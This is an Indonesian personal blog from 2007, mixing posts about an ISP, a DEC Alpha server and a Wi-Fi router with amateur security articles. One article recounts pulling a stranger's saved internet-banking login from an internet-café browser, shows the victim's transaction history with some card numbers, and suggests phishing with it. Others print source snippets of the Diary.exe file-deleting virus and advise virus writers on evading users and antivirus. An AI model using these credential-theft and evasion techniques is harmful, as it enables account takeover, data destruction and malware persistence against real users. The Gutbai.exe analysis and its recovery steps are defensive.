Sabtu, 30 Juni 2007

Telkom Speedy?? Part - 1

Speedy, dari namanya juga bisa diketahui kalo sesuatu yang cepat.. humm produk koneksi internet broadband dari Telkom ini mang banyak pro n kontra. Aq sebagai salah satu penggunanya (kira2 dah 1 tahun), juga mulai berpikiran kalo apa yang dijadiin permasalahan orang banyak itu mulai terjadi.

1. Trafik yang padat, terjadi lebih sering di siang hari.. entah itu memang banyak yg gi make ato ada masalah dari infrastruktur telkom itu sendiri.

2. Security, paling kritis nih yg satu ini... bayangin ajah (menurut pengamatan n pengalaman ndiri :P) hampir 70% pengguna speedy masih buta ttg pentingnya sekuritas koneksi internet mereka. Selanjutnya ttg hal ini akan dibahas lebih lanjut :D

3. Biaya, paling penting nih!! harga paket personal itu 200 rebu per bulan, unlimited office 750 rebu... kalo dibandingkan koneksi dedicated ato wireless tergolong cukup terjangkau. Pertanyaanya, apa bisa dengan biaya 200 rebu itu quotanya dihilangkan alias menjadi unlimited?? :P hehehhe biasa, cara pikir yang gk mo rugi :P

4. Teknisi yang (menurut aq loohhh! :P) kurang berpengalaman, bukan menyebut "semua" teknisi speedy gak berpengalaman, tetapi sebagian memang bukan berdasar IT. Sehingga jika terjadi masalah memang terkesan lamban atau tidak resolve sama sekali.

Kebetulan ajah kemarin sempet ngobrol2 ma teknisi speedy yang dateng ke rumah soal kualitas speedy sekarang dibandingkan dgn yang dulu... memang meningkat tetapi lebih baik lagi kalo bisa "dekat" dgn hati para pelanggan, baik itu masalah teknis maupun masalah lainnya :D :D

Apalagi kan udah ada forum di telkomspeedy.com dgn kang Onno membahas soal ADSL n Speedy, mudah2an para petinggi speedy bisa "mendengar" kelu kesah para pelanggan speedy ... :D :D

PC164 DEC ALPHA Server part - 1


Pernah punya mesin "legendaris" ini??? duuh pertama kali punya ni mesin susahhhhhhnya minta ampun mo upgrade OSnya... kenapa?

1. OS Bawaan dah terpasang Windows NT 4.0 German, kebayang binunna baca tulisan n keyboard mappingna juga beda amat ma US Internasional (OMG!!!!!)

2. Binun pake firmware bawaan, ARC ... tapi lebih enak karena dah berupa menu2 ^_^

3. CD ROM SCSIna dah agak soak, dibuka, ditutup, kebuka lagi... gak tau napa... jgn2 ada penungguna? >.<

4. Lom tau jenis ALPHA Server yang mana, abisnya cuman ada petunjuk jenis prosesor (RISP)nya doank, 21164... btw soal RISC nanti dijelasin yaa ^_^.

Akhirnya diputusin upgrade, sebutanna upgrade gak yah? soalnya cuman ganti NT 4.0 yang English :P... kebetulan ada kak rio (senior lab manajemen dasar) punya CD Windows NT 4.0 Workstation English version (<<< ini yang penting :P, original lagi!). Gimana tuh re-installingnya? Kayak install OS di PC biasa, tapi bedana buat milih boot ke CD, bikin partisi (hebat bgt nih ARC, ampe ada menu bikin partisina, tapi cuman bisa FAT
ajah :P) dilakuin di menu ARC. Nanti tinggal pilih menu Install Windows NT 4.0 From CD (Kalo gk salah nama manunya :P). Selanjutnya seperti install windows di PC biasa, setting partisi, language, serial number, n dll.

Oh iya, berbeda dgn windows arsitektur di PC biasa, khusus di arsitektur ALPHA perlu 1 partisi tambahan yaitu OSLOADPARTITION guna mem-boot si windows NT. keterangan lengkap ada di : http://support.microsoft.com/kb/172952

Perlu diketahui support dari Microsoft terhadap Windows NT 4.0 di ALPHA ini hanya sampai Service Pack 4, kemarin pgn upgrade ke service pack 6 gagal :(

Referensi ALPHA n Windows NT : http://www.alphant.com/ant_faq.shtml

RISC atau reduced instruction set computer adalah jenis CPU yang "dipangkas" fitur2na, contohnya : ALPHA, SPARC, ARC, ARM, AVR, MIPS, Dll. Referensi : http://en.wikipedia.org/wiki/RISC

Jumat, 29 Juni 2007

My PI ... :(

Waaaaaaakkksss, PI (Penulisan Ilimiah) aq gimana niiiiihh? mana si iqbal harus ke yogya 1 bulan.. otomatis sidang sendirian deh :(... mudah2an dosen pegujina gk nanya macem2... amiiiiiiiiiinnnnnnnn !!!

Btw PI yg aq tulis itu : "Pembuatan Aplikasi Transformasi Citra Dengan Menggunakan MATLAB 6,5".. duh ribet yakk?? kekekekekkeke, iya nih MATLAB mang terkenal ma ribetna... mana matriks semua operasina T_T.

Dah di Acc sih ma DP (Dosen Penguji), tapi ya itu masalah sidang masih gak jelas!!! duh binun binun binun binun binun :((....

Access Point...

Duh pengen belajar ttg Wifi nih... sapa tau bisa buka RtRwnet disini :P :P hehehe

Kebetulan kemarin di forum rtrwnet baca2 soal AP yang bagus (nyari yg bisa mode Client juga :P), nemu LinkSys WRT54G/L/S... kata orang2 sih mang jadi "Legenda" nih AP, soalna bisa di update firmware jadi lebih banyak fitur n bisa diinstallin aplikasi karena berbasis linux (bener gak yah? lom nyoba :P)....

Yaudah deh, langsung kontak ke salah satu yg jual di forum (oms maman :D).. mesen 1 trus besok diambil... sempet ditawarin AP TP-Link (lupa versi brapa >.<) yg support RangeExtender (bener gak yah fiturna :P) yg lebih murah... tapi kok jadi bimbang ye? pilih harga agak murah apa yg banyak fitur yg bisa dioprek???

Yowis, diputuskan dengan suara bulat, langkah tegap maju jalan, bibir mengucap "Bismillah", tangan mengetik dengan mantap di YM, "Yang Linksys ajah deh oms!".... hehehe mudah2an nih AP jadi mainan baru buat Aq.. :D :D Wish Me Luck!! :D :D

Kamis, 28 Juni 2007

Staff @ EcH0!!!!

Duuhhhhhhhh senangnya diterima jadi staff di EcH0 (www.echo.or.id), setelah menulis 2 artikel yg dikerjain dgn SKS (Sistem Kebut Sejam) akhirna Alhamdulilah diberi kesempatan untuk menjadi salah satu (penjaga) disana :P

Mudah2an para staff yang udah senior bisa bimbing aq, ngasi solusi saat aq dilanda problema, sharing knowledge demi kemajuan bersama, dll :D :D

Hehehehe, kira2 tugas pertamana apa yah??? Asal jgn suruh mijetin aje -.- :P....

Anyway, Viva EcH0...!!! Let's Work together, share together :D :D

Gutbai.exe, Apa dan Solusinya

Author : PusHm0v @ PusHm0v Software Development
Date : 18/9/2006

Shoutz : All echo|staff, yogyafree|staff, The Killer Team
Myztx, vaganci, ^family_code^, TOMMY, adhietslank, etc.
#e-c-h-o, #yogyafree, #javahack, #koncek, #canda, #canda-ops @DAL.NET
newbie_hacker@yahoogroups.com, yogyafree@yahoogroups.com
IT_CENTER@yahoogroups.com, ProgrammerVB@yahoogroups.com
virus_baru@yahoogroups.com
VBbego.com, Virology.info, Vbtn.com
IA01 dan 1IA07, Lab MaDas angk. 19 @ Gunadarma University
Dan teman2 serta kerabat2 lain yang tidak bisa disebutkan satu-persatu

Notes : Penulis TIDAK bertanggung jawab atas penggunaan maupun penyalahgunaan dari artikel ini.
Tujuan dibuat artikel HANYA untuk BAHAN PEMBELAJARAN saja.
Semua nama, URL, domain, IP address, username, password dalam artikel ini disamarkan demi
keamanan dan privasi.
Bila pembaca artikel ini menganggap artikel ini menyinggung perasaan, maka Penulis
memohon maaf sebesar-besarnya.

Main#
Beberapa waktu yang lalu penulis dimintai untuk mencoba sebuah aplikasi oleh mas Kurniawan (^family_code^), yaitu
gutbai.exe. sang author aplikasi ini mengkalim bahwa telah menemukan celah di Microsoft Windows yang bisa membuat
Bill Gates gulung tikar (walaupun pada tahun depan om Bill bakal mengundurkan diri :P). Aplikasi Gutbai.exe tidak akan
mempengaruhi kinerja system, demikian klaim sang author. Walaupun pada kenyataannya aplikasi ini SANGAT-SANGAT merusak
Windows anda. Beberapa analisa penulis terhadap aplikasi gutbai.exe :

1. Compiled dari VB 6.0, dengan no packer dan native code.
2. Mengubah/menambah beberapa key registry :
* DisableRegistryTools
* DisableTaskMgr
* HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell\Explorer.exe menjadi gutbai.exe
* HKLM\Software\Microsoft\Windows\CurrentVersion\policies\system\Shell\Gutbai.exe
3. Mencopy dirinya sendiri ke C:\Windows
4. "Membunuh" proses Explorer.exe

Bila dijalankan, aplikasi ini akan memunculkan window dengan 2 Button yang pertama berisi tantangan untuk meng-kliknya dan
kedua akan menutup aplikasinya. Bila button pertama diklik maka akan muncul MessageBox yang berisi bahwa anda sudah menjalankan
tantangannya dan aplikasi akan me-Log Off anda. Begitu anda Log On kembali maka anda hanya dihadapkan tampilan wallpaper saja.
Mengapa demikian?? karena pada dasarnya Windows melakukan boot secara garis besar sbb:

Boot Sector -> NTLDR -|
|-> Ntdetect.com -> HKLM\HARDWARE\DESCRIPTION
|-> HKLM\SYSTEM\CurrentControlSet\Services
|-> Ntoskrnl.exe |-> bootvid.dll
|-> Windows Session Manager (smss.exe) -> HKLM\SYSTEM\CurrentControlSet\Session Manager\Bootexecute
-> HKLM\SYSTEM\CurrentControlSet\Session Manager\Memory Management\PagingFiles
-> HKLM\SYSTEM\CurrentControlSet\Session Manager\Environment
-> Winlogon -> MSGina.dll
-> Shell (Explorer.exe) ;Nah disini lah permasalahan terjadi

Sang gutbai.exe menggantikan dirinya sebagai shell yang asli, yaitu Explorer.exe. Maka dari itu anda tidak mempunyai shell tapi mempunyai logon yang valid,
karena MSGina sudah dieksekusi terlebih dahulu. TaskManager tidak bisa dibuka, sama halnya dengan Registry Editor (Regedit) karena telah di blok.

Solusi#
Banyak cara untuk mengembalikan shell asli anda, seperti menggunakan media boot CD, disket, USB, dll. Yang pada dasarnya mengganti value registry yang telah
diganti oleh aplikasi tsb. Berhubung kita menggunakan media boot, maka tidak dapat mengubah Registry secara langsung. DIperlukan aplikasi yang dapat membaca
dan mengubah value registry. Untuk penyimpanan Registry Windows terdapat pada %SystemRoot%\Config\Software (karena HKLM\Software yang kita tuju).
Dianjurkan menggunakan aplikasi yang sifatnya GUI (Graphical User Interface) dalam mengubah registry supaya memudahkan recovery. Penulis menggunakan
CD Recovery XP 1.00 Build On PEBuilder yang didalamnya sudah terintegrasi Regedit bawaan. UNtuk mendapatkan atau mengetahui cara membuat CD tsb bisa menghubungi
penulis.

Cara Recovery:
1. Buka Regedit dari Run
2. Browse HKEY_LOCAL_Machine
3. Pilih File pada menu dan pilih Load Hive (File Type : Hive File)
4. Browse ke Drive windows anda (biasanya C:)
5. Browse ke C:\Windows\System32\Config, lalu pilih file Software
6. Akan muncul kotak input box, Buat nama key baru misal HKEY_BARU
7. Browse ke HKEY_BARU\Microsoft\Windows\CurrentVersion\policies\system lalu hapus value Shell
8. Browse ke HKEY_BARU\Microsoft\Windows NT\CurrentVersion\Winlogon lalu ganti value Shell menjadi Explorer.exe
9.Pilih File pada menu dan pilih Export
10.Save 1 folder dengan file software tadi, misal dengan nama software2. Jangan lupa untuk memilih selected branch : HKEY_LOCAL_MACHINE\HKEY_BARU
11.Pilih File pada menu dan pilih UnLoad Hive
12.Browse ke C:\Windows lalu hapus file gutbai.exe
13.Browse ke folder C:\Windows\System32\Config, lalu hapus file Software dan rename file software2 menjadi software
14.Reboot Komputer anda

Bila pada komputer anda masih tidak dapat membuka Task Manager atau Regedit dapat menggunakan file repair.inf :

* BUka Notepad lalu ketikkan :

----Start Here-----
[Version]

Signature="$Chicago$"

Provider=the_killer_team

[DefaultInstall]

DelReg=del

[del]

HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableTaskMgr
-----End Here------

Klik kanan pada file repair.inf tsb dan pilih Install.

Kesimpulan#
Aplikasi Gutbai.exe menghilangkan shell anda dengan menggantinya dengan aplikasi itu sendiri. Apakah ini termasuk "celah" pada Windows?
Kalo menurut penulis ini bukanlah suatu celah, tetapi hanya membuat Explorer.exe tidak Load. Cara Recovery tidak perlu dilakukan
dengan Go back, deep freeze atau instal ulang. Dengan menggunakan CD Recovery XP Bikinan sendiri kita dapat menanggulangi masalah tsb.

Penutup#
Penulis bukanlah Hacker Sejati, melainkan seorang yang masih belajar tentang dunia Teknologi Informasi. Sudah banyak E-zine yang menyebutkan apa itu seorang
hacker Sejati atau Elite atau apapun namanya. Bila ingin benar-benar mengexploitasi suatu celah OS, ada baiknya mempelajari apa itu shellcode, payload dan exploit.
Penulis tidak meragukan kemampuan author Gutbai.exe dalam pemograman, alangkah baiknya bila kemampuan tsb digunakan untuk kebaikan bersama =) =).

Auto Complete, Kemudahan atau Kerawanan???

Author : PusHm0v @ PusHm0v Software Development
Date : 15/9/2006

Shoutz : All echo|staff, yogyafree|staff, The Killer Team
Myztx, vaganci, ^family_code^, TOMMY, adhietslank, etc.
#e-c-h-o, #yogyafree, #javahack, #koncek, #canda, #canda-ops @DAL.NET
newbie_hacker@yahoogroups.com, yogyafree@yahoogroups.com
IT_CENTER@yahoogroups.com, ProgrammerVB@yahoogroups.com
virus_baru@yahoogroups.com
VBbego.com, Virology.info, Vbtn.com
IA01 dan 1IA07, Lab MaDas angk. 19 @ Gunadarma University
Dan teman2 serta kerabat2 lain yang tidak bisa disebutkan satu-persatu

Notes : Penulis TIDAK bertanggung jawab atas penggunaan maupun penyalahgunaan dari artikel ini.
Tujuan dibuat artikel HANYA untuk BAHAN PEMBELAJARAN saja.
Semua nama, URL, domain, IP address, username, password dalam artikel ini disamarkan demi
keamanan dan privasi.
Bila pembaca artikel ini menganggap artikel ini menyinggung perasaan, maka Penulis
memohon maaf sebesar-besarnya.

Main#
Adanya fitur AutoComplete ataupun password storage di berbagai macam browser saat ini
merupakan terobosan inovatif, mengingat kemampuan seseorang dalam menghapal. Dengan
fitur ini pula kita dapat mengehemat waktu mengetik dan mengisi kolom username dan password.
Pernahkah anda bermain di suatu kafe internet atau kantor, dan membuka halaman login dari
Email anda mengetik atau menekan 1 huruf depan dari username anda browser saat itu juga langsung
menampilkan pilihan username-username yang sudah pernah diinputkan?? Bila anda memakai komputer
dengan single user mungkin tak masalah, lalu bagaimana bila multiuser?? Ada kemungkinan username
bahkan password anda dapat diambil oleh orang lain.
Berbekal aplikasi password recovery kita dapat mengambil dan membongkar username-password yang
tersimpan ini. Penulis menggunakan Passcape Internet Explorer Password Recovery (www.passcape.com).
Kebetulan Browser di warnet penulis menggunakan Internet Explorer (selanjutnya disingkat menjadi IE saja)
yang fitur AutoComplete sedang menyala.
Install Passcape Internet Explorer Password Recovery (selanjutnya disingkat menjadi PIEPR saja),
lalu pilih metode Recovery yang akan dijalankan :

* AUTOMATIC : akan membuka Password yang tersimpan secara otomatis
* MANUAL : akan membuka Password melalui file ntuser.dat, biasanya di C:\Documents and Settings\%nama_user%
* CONTENT ADVISOR : akan meng-Edit status dan password dari Internet Explorer Content Advisor
* ASTERISKS PASSWORDS : akan membuka "tabir" karakter '*' atau asterik dari kolom password
* MISCELLANEOUS : akan menampilkan macam-macam cookie, cache atau URL yang disimpan oleh IE

Kita akan menggunakan fitur AUTOMATIC untuk membuka password yang tersimpan. Klik Next>> lalu PIEPR akan
menampilkan sejumlah kolom yang berisi keterangan resource IE apa yang dapat dibuka beserta username dan password.

Contoh hasil Recovery PIEPR:

<<< Internet Explorer passwords >>>

Created by Passcape Internet Explorer Password Recovery


IE resource type : IE autocomplete passwords
Resource name : https://ib.bankapajah.co.id/retail/Login.do
User name/Value : xxxxxxx
Password : xxxxxxx

IE resource type : Identity passwords
Resource name : Main Identity
User name/Value :
Password :



PIEPR v1.4.1.170
09-15-2006 10:23:08

Diatas merupakan username dan password dari sebuah session login internet banking di salah satu Bank swasta nasional.
Dapat dibayangkan apa yg terjadi bila kita mempunyai akses untuk melihat, mengubah bahkan mengambil uang dari akun tersebut.
Berikut contoh hasil pemeriksaan saldo dan histori transaksi dari akun tersebut:

NAMA_ORANG_YANG_KENA_TEPU
15 Sep 2006, 12:53:40 HELP



POSISI SALDO


Nomor Transaksi : 0609150069978
Nomor Rekening : xxxxxxxxxxxxx
Jenis Rekening : Tabungan
Tanggal - Jam : 15 September 2006 - 12:53 PM
Posisi Saldo : Rp. 3.352.512,44


HISTORI TRANSAKSI

Nomor Transaksi : 0609150070131
Nomor Rekening : xxxxxxxxxxxxx Rp.
Jenis Rekening : Tabungan
Periode Transaksi : 14 Aug 2006- 15 Sep 2006
Tampilkan Berdasarkan : Tanggal
Urutkan Berdasarkan : Mulai dari yang kecil

Tanggal Keterangan Transaksi Debet Kredit
14/08/2006 VE POS SA
21765315 /0000186584/VAP-SARINAH THA 160.000,00 0,00
14/08/2006 SA ATM PLN PAYM DR
41100046011547100899423
S1AD00FW /6765 /ATM-SPBU P KLP 150.115,00 0,00
14/08/2006 SA ATM PLN PAYM DR
41100046011547100899423
S1AD00FW /6765 /ATM-SPBU P KLP 2.500,00 0,00
15/08/2006 SA ATM Withdrawal
S1AD00FW /7581 /ATM-SPBU P KLP 1.000.000,00 0,00
15/08/2006 INW.CN-SKN CR SA-MCS
CHEVRON INDONESIA COMPANY - 032 0,00 2.234.825,00
15/08/2006 VE POS SA
00019333 /0000198403/VAP-TOKO GUNUNG 101.000,00 0,00
17/08/2006 SA ATM Withdrawal
S1AD00FW /7878 /ATM-SPBU P KLP 1.000.000,00 0,00
19/08/2006 SA ATM Withdrawal
S1AP125I /3170 /ATM-TMN GALAXY1 500.000,00 0,00
20/08/2006 VE POS SA
61029923 /0000292379/VAP-MDS (ARION 195.000,00 0,00
22/08/2006 SA ATM Withdrawal
S1AP1449 /6920 /ATM-KC T AGUNG1 1.000.000,00 0,00
23/08/2006 SA ATM Withdrawal
S1AM141Z /9388 /ATM-BDR JUANDA2 500.000,00 0,00
26/08/2006 SA ATM Withdrawal
S1AP12EQ /9678 /ATM-METROPOLITA 100.000,00 0,00
27/08/2006 SA ATM Withdrawal
S1AD00FW /1633 /ATM-SPBU P KLP 150.000,00 0,00
28/08/2006 INW.CN-SKN CR SA-MCS
CHEVRON INDONESIA COMPANY - 031 0,00 13.866.238,00
31/08/2006 Bunga Rekening 0,00 14.740,63
31/08/2006 Biaya Administrasi 7.000,00 0,00
02/09/2006 SA OB SA No Book
Transfer untuk September
1250005534326 5.000.000,00 0,00
02/09/2006 SA OB SA No Book
Transfer untuk September 1.000,00 0,00
02/09/2006 INT-BK CCPYM CA/SA
4137180305168351 300.000,00 0,00
06/09/2006 INT-BK CCPYM CA/SA
4137180305168351 2.543.987,00 0,00
06/09/2006 INT-B DR SA BILL PMT
030208160140021008226614 170.804,00 0,00
06/09/2006 SA INT PLN PAYM DR
41000046014547100899423 150.115,00 0,00
06/09/2006 SA INT PLN PAYM DR
41000046014547100899423 2.500,00 0,00
06/09/2006 SA OB SA No Book
untuk bni chay, thanks
1250005534326 2.500.000,00 0,00
06/09/2006 SA OB SA No Book
untuk bni chay, thanks 1.000,00 0,00


Saldo Awal : 2.771.729,81
Total Kredit : 16.115.803,63
Total Debet : 15.535.021,00
Saldo Akhir : 3.352.512,44


Waw!!! kita bisa melihat semua transaksi akun tersebut. Apa yang bisa kita lakukan setelah itu? kita bisa melakukan
phising ataupun spamming dengan mengambil data-data penting lainnya, seperti :

UBAH ALAMAT E-MAIL

Nama : NAMA_ORANG_YANG_KENA_TEPU
Tanggal Lahir : 29 February 1900
Alamat E-Mail : KENA_TEPU@mailboongan.com

Solusi#
Bisa kita bayangkan akibat terburuk dari password stealing seperti itu, transfer dana tanapa kita duga, pengambil-alihan
rekening, pengubahan password, hingga pencurian data-data penting kita. Bagaimana kita menghindari hal tersebut?
Aplikasi pembersih Cookie atau cache Browser dapat kita manfaatkan, bahkan dari IE pun sudah ada fitur ini.

> Buka browser IE anda, pilih Tools pada toolbar.
> Pilih Internet Options
> Klik Delete Cookies untuk menghapus cookies anda, Delete Files untuk menghapus file-file temporer dan Clear History untuk
membersihkan sisa-sisa "perjalanan" anda selama browsing.

Bila fitur tersebut dirasa kurang memadai, maka anda dapat menggunakan aplikasi third party, seperti cookies washer atau sejenisnya.
Selain ancaman Password recovery seperti PIEPR, ada aplikasi keylogger yang dapat mencatat semua ketikan anda. Untuk mengakali hal ini,
anda dapat menggunakan fitur on Screen-keyboard Windows.

> Buka menu START, pilih ALL Programs lalu Accessories
> Lalu pilih On-Screen Keyboard.

Kesimpulan#
Pencurian password dan username dalam komputer publik merupakan hal yang wajar mengingat kelemahan sistem yang ada.
Fitur AutoComplete yang disediakan oleh Browser saat ini dapat menjadi bumerang bagi pemakainya apabila tidak berhati-hati
dalam pemakaiannya. Aplikasi Password Recovery seperti PIEPR dapat menampilkan semua username dan password yang pernah disimpan
selama kegiatan Browsing. Lakukan pembersihan Cookies dan History anda setiap kali selesai browsing agar menghindari penyalahgunaan
hak akses.

Penutup#
Penulis tidak bermaksud untuk mengajak pembaca menjadi seorang "PENCURI", tetapi prihatin atas kurangnya informasi dan kesadaran
dari pengguna komputer publik dalam menjaga rahasia pribadinya. Dengan artikel sederhana (mungkin jelek :P) ini penulis ingin membawa
pembaca untuk lebih waspada terhadap teknik-teknik pencurian data rahasia. Semoga artikel ini bermanfaat bagi kita semua. Amien. =)

Diary.Exe, Apa dan Bagaimana?

- 13-3-06 -

$A little Words...
Penulis ingin menyampaikan bagaimana virus Diary.exe bekerja
dan tidak ada maksud untuk menyinggung atau menyakiti perasaan
korban - korban yang telah terinfeksi oleh virus ini.
Analisis Virus dalam Artikel ini mungkin bersifat sangat Dasar,
oleh karena itu Saya mohon maaf sebesar-besarnya jika ada kekurangan.

$Start...
>Diary.Exe adalah salah satu Virus (yang katanya cukup Berbahaya oleh Vaksin.com) buatan
Vxer (pembuat Virus) lokal. Virus ini dibuat dengan menggunakan Bahasa Visual Basic 6.0.
Menurut Norman AV, virus ini dikategorikan sebagai varian dari Virus Kangen yang sempat
tersebar beberapa waktu lalu. Saya tidak tahu mengapa disebut-sebut sebagai varian kangen,
apakah karena Icon yang dipilih adalah Icon MS-Word? atau karena sifatnya yg menginfeksi
file MS-WORD saja? Sampai saat ini saya belum tahu..
Yang pasti virus ini pertama kali disebarkan di Laboratorium Komputer di salah satu
Universitas yang ada di Depok.
>Virus Diary.Exe bekerja menggunakan algoritma (yang kurang-lebihnya) sebagai berikut :


|START EXECUTION|

|

| Create File Diary Seorang Newbie.txt |
|di folder %userprofile%\Application Data|

|

|Periksa apakah folder %ProgramFiles%\Common Files\System ada?|

| tidak ada
|------------------------------------------->|
ada| |

| Create file Explorer.Exe di folder | |Create file di folder %systemroot&\System32|
| %ProgramFiles%\Common Files\System |

|<-------------------------------------------|

|Infeksi key-key di Registry, Hidden file, Disableregistrytools, Dll|

|

|Periksa apakah folder %Program Files%\InstallShield Installation Information ada?|

| tidak ada
|------------------------------------------------>|
ada| |
| |Create folder %Program Files%\InstallShield Installation Information|
| |
|<------------------------------------------------|

|Create file Rsvdb.Exe ke %Program Files%\InstallShield Installation Information|

|

|Create file RegsvcChk.Exe ke folder %SystemRoot%|

|

|Create file Spoolsw.Exe ke folder %userprofile%\Application Data|

|

|Execute Regsvcchk.Exe|

|

|Execute Spoolsw.Exe|

|

|Deteksi dan hapus Virus Kangen All Varian di Komputer|

|

|Deteksi dan Infeksi semua File MS-Word (*.Doc) di Komputer|

|

|END EXECUTION|


>Semua file MS-Word yang terdeteksi akan diambil namanya, lalu sang virus akan meng-
gandakan dirinya menggunakan nama file tsb. Lalu bagaimana dengan file .Doc tersebut?
File tsb akan dihapus/didelete. Algoritma jahat inilah yang merugikan banyak user
komputer karena semua file .Docnya telah hilang.
>Berikut cuplikan dari Source Code Diary.Exe :

----------------------------Cut Here---------------------------------
Private Sub cek(path As String)
On Error Resume Next
If Right(path, 1) <> "\" Then
path = path + "\"
End If
Set fol = fso.getfolder(path)
Set fil = fol.Files
Set subfol = fol.subfolders
If fso.fileexists(path + "Diary.exe") = True Then
GoTo a
Else
Call copi("Diary.exe", path)
End If
a: For Each fil2 In fil
If fso.getextensionname(fil2.Name) = "doc" Or fso.getextensionname(fil2.Name) = "DOC" Then
desk1 = Left(fil2.Name, Len(fil2.Name) - 4)
Call copi(desk1 + ".exe", path)
Kill fil2.path
End If
Next
For Each subfols In subfol
cek (subfols.path)
Next
End Sub

----------------------------Cut Here---------------------------------

----------------------------Cut Here---------------------------------

Private Sub Timer1_Timer()
On Error Resume Next
Call GetActiveWindowName
tutup
If InStr(tampung, "A:") <> 0 Then
cek ("A:")
End If
cari
If i > 0 Then
For j = 0 To i - 1
If desk(j) <> "" Then
If InStr(tampung, desk2(j)) <> 0 Then
cek (desk2(j))
End If
End If
Next
End If
End Sub

----------------------------Cut Here---------------------------------

>Algoritma tersebut adalah bagaimana Virus bisa mendeteksi dikala user sedang membuka
Removeable Drive (Disket, USB, Dll) dengan mengambil Window Captionnya. Hal ini tidak
akan berlaku bila user membukanya di lingkungan DOS (Command Prompt). Dengan cara itu pula
virus bisa menggandakan dirinya dan menyebarkannya lewat Floopy Disk atau USB Drive.
>Virus juga akan me-Minimize window-window yang mempunyai string "Registry Editor",
"Application Data", "WINDOWS", "WINNT", "Program Files", "Command Prompt, "DOS", "Task",
"Process", "System", "Hijack", dan "Kill". Berikut adalah code dari algortima tsb :

----------------------------Cut Here---------------------------------

Private Sub tutup()
If InStr(tampung, "Registry Editor") <> 0 Or InStr(tampung, "Application Data") <> 0 Or InStr(tampung, "WINDOWS") <> 0_
Or InStr(tampung, "WINNT") <> 0 Or InStr(tampung, "Program Files") <> 0 Or InStr(tampung, "Command Prompt") <> 0_
Or InStr(tampung, "DOS") <> 0 Or InStr(tampung, "Task") <> 0 Or InStr(tampung, "Process") <> 0 Or InStr(tampung, "System") <> 0_
Or InStr(tampung, "Hijack") <> 0 Or InStr(tampung, "Kill") <> 0 Then
CloseWindow GetForegroundWindow
End If
End Sub

----------------------------Cut Here---------------------------------

>Sebagai Virus pasti Diary.Exe juga memerlukan suatu method Autorun saat komputer Boot. Virus ini
menggunakan key di HKLM\Software\Microsoft\Windows\CurrentVersion\Run dengan value NvsSchd dan berisi
data %Program Files%\Common Files\System\Explorer.exe.
>Karena ketidaksempurnaan dalam penulisan program, maka virus ini hanya dapat berjalan di sistem operasi
Windows XP, 2000 atau 2003. Virus ini berukuran sekitar 60 Kb dan yang telah dikompresi berukuran 20 Kb
dengan menggunakan kompresi UPX.

$API Functions List...
>GetSystemDirectory
GetWindowText
GetDesktopWindow
GetTopWindow
CloseWindow
GetWindowText
GetForegroundWindow
FindWindow
SendMessage

$Advantages N Disadvantages...
>Virus berukuran cukup kecil
>Selain mem-blok akses, juga me-minimize window-window
>Virus tidak dapat berjalan di Windows 9x dan Me
>Teknik search file masih menggunakan FSO dan WSH
>Menghapus file korban

$End...
>Diary.Exe dapat dikatakan salah satu virus lokal berbahaya karena menghapus file-file MS-Word di Komputer yang
terinfeksi. Penyebaran virus ini masih rendah, Media penyebarannya melalui Disket dan USB Drive. Teknik searching
file .Doc menggunakan teknik file scripting object. Dan implementasi Key Registry menggunakan teknik Windows Scripting.
Demikian artikel sederhana ini, kurang atau lebihnya saya mohon maaf....

$Greetz...
>Myztx @ Myztx Soft. House.
>All member of Mail-list : EcHo, Jasakom, Yogyafree, ITCenter, Virologi, Balihack n the others.
>Spyro, Vaganci, Yanto, n All my Friends at 01 [2005] n 07 [2004].

Implementasi Teknik Stealth Pada Virus

- 27-2-06 -

$> A little Words...
Penulis tidak bertanggung jawab atas kerugian yang ditimbulkan atas penggunaan artikel ini (Use at Your Own Risk).

$> Start...
Mungkin sebagian (Atau seluruhnya) Vx3r (Pembuat Virus) pasti menemukan suatu permasalahan dalam
membuat Virusnya agar susah dihapus atau meminimalisir pendeteksian oleh User ataupun Anti Virus.
Bagaimana sih cara-cara Vx3r itu menyembunyikan Virusnya di kOmputer korban? Ada beberapa cara yang
klasik dan sangat sering dilakukan, Seperti:

1. Merubah nama File Virus menjadi (mirip) File system Windows, contoh : RunDll32.exe, Winsys32.exe,dll
2. Menempatkan File Virus di Folder Hidden atau di Folder System Windows.
3. Menghalangi Akses ke Task Manager maupun Tool-tool yang dapat menampilkan proses yang sedang
berlangsung. Hal ini lumrah karena virus ingin eksistensinya dipertahankan.
4. Menggunakan nama file yang random atau acak.
5. Menggunakan Ikon yang umum seperti MS-Word, Folder, Setup program, dll.
6. Memblok fasilitas Search.
7. Dan lainnya.

Lalu apa saja kelemahannya? Untuk penggunaan Ikon yang umum hal ini sangat fatal, karena User dapat
membedakan antara ikon Default File *.Exe dengan ikon yang dipakai oleh Virus. Sebagai contoh apabila
si Virus memakai Ikon MS-Word maka akan terjadi suatu kejanggalan, "Ikonnya Word kok ekstensinya Exe?".
Contoh lagi kasus penggunaan nama file random atau acak. Pada hal ini diperlukan suatu penyimpanan
dari nama file acak itu, karena pada Trigger Virus jalan dia akan mencari file yang dimaksud. Pemyimpanan
nya pun berupa file ataupun key di registry. Kedua teknik penyimpanan tersebut sama baiknya apabila dilengkapi
oleh teknik Enkripsi. Pada suatu Virus yang pernah saya temukan dan analisa, Kangen.E telah menggunakan
nama acak dan penyimpanan di suatu file *.sys. Dan file tersebut dibiarkan apa adanya tanpa perlindungan
apapun terhadap isinya. Hal ini memudahkan dalam melacak nama trigger virus tsb.
Sebenarnya langkah apa yang harus diambil agar virus kita tak mudah terlacak oleh User? Menurut pandangan
saya ada beberapa poin yang sangat penting:

1. Lakukan teknik penggantian Ikon secara langsung (Ekstrak dan ganti), bukan mengandalkan ikon default.
2. Penggantian Filetime maupun FileDate dan ukuran pada file Virus agar tidak mudah ditemukan dengan Search.
3. Gunakan API-Hook dalam melacak tool Proses Viewer, jangan mengandalkan windows Caption karena sudah banyak
tool yang tidak memakai window caption lagi.
4. Jika memungkinkan jangan me-launch instan virus dengan cara "shell", karena hal ini dapat berakibat
Proses Virus menjadi Parent and Child. Bila sang parent mati maka si child pun akan ikut mati.
5. Selalu gunakan instan virus lain untuk saling melacak keberadaan virus (Anti-Kill process) sehingga virus
memungkinkan untuk tetap eksis.

$> How to...?
Saya menggunakan Bahasa Pemograman Visual Basic 6.0 dalam mencoba teknik
stealth (yang menurut saya) agak baik Serta beberapa referensi Source Code maupun artikel dari Internet.
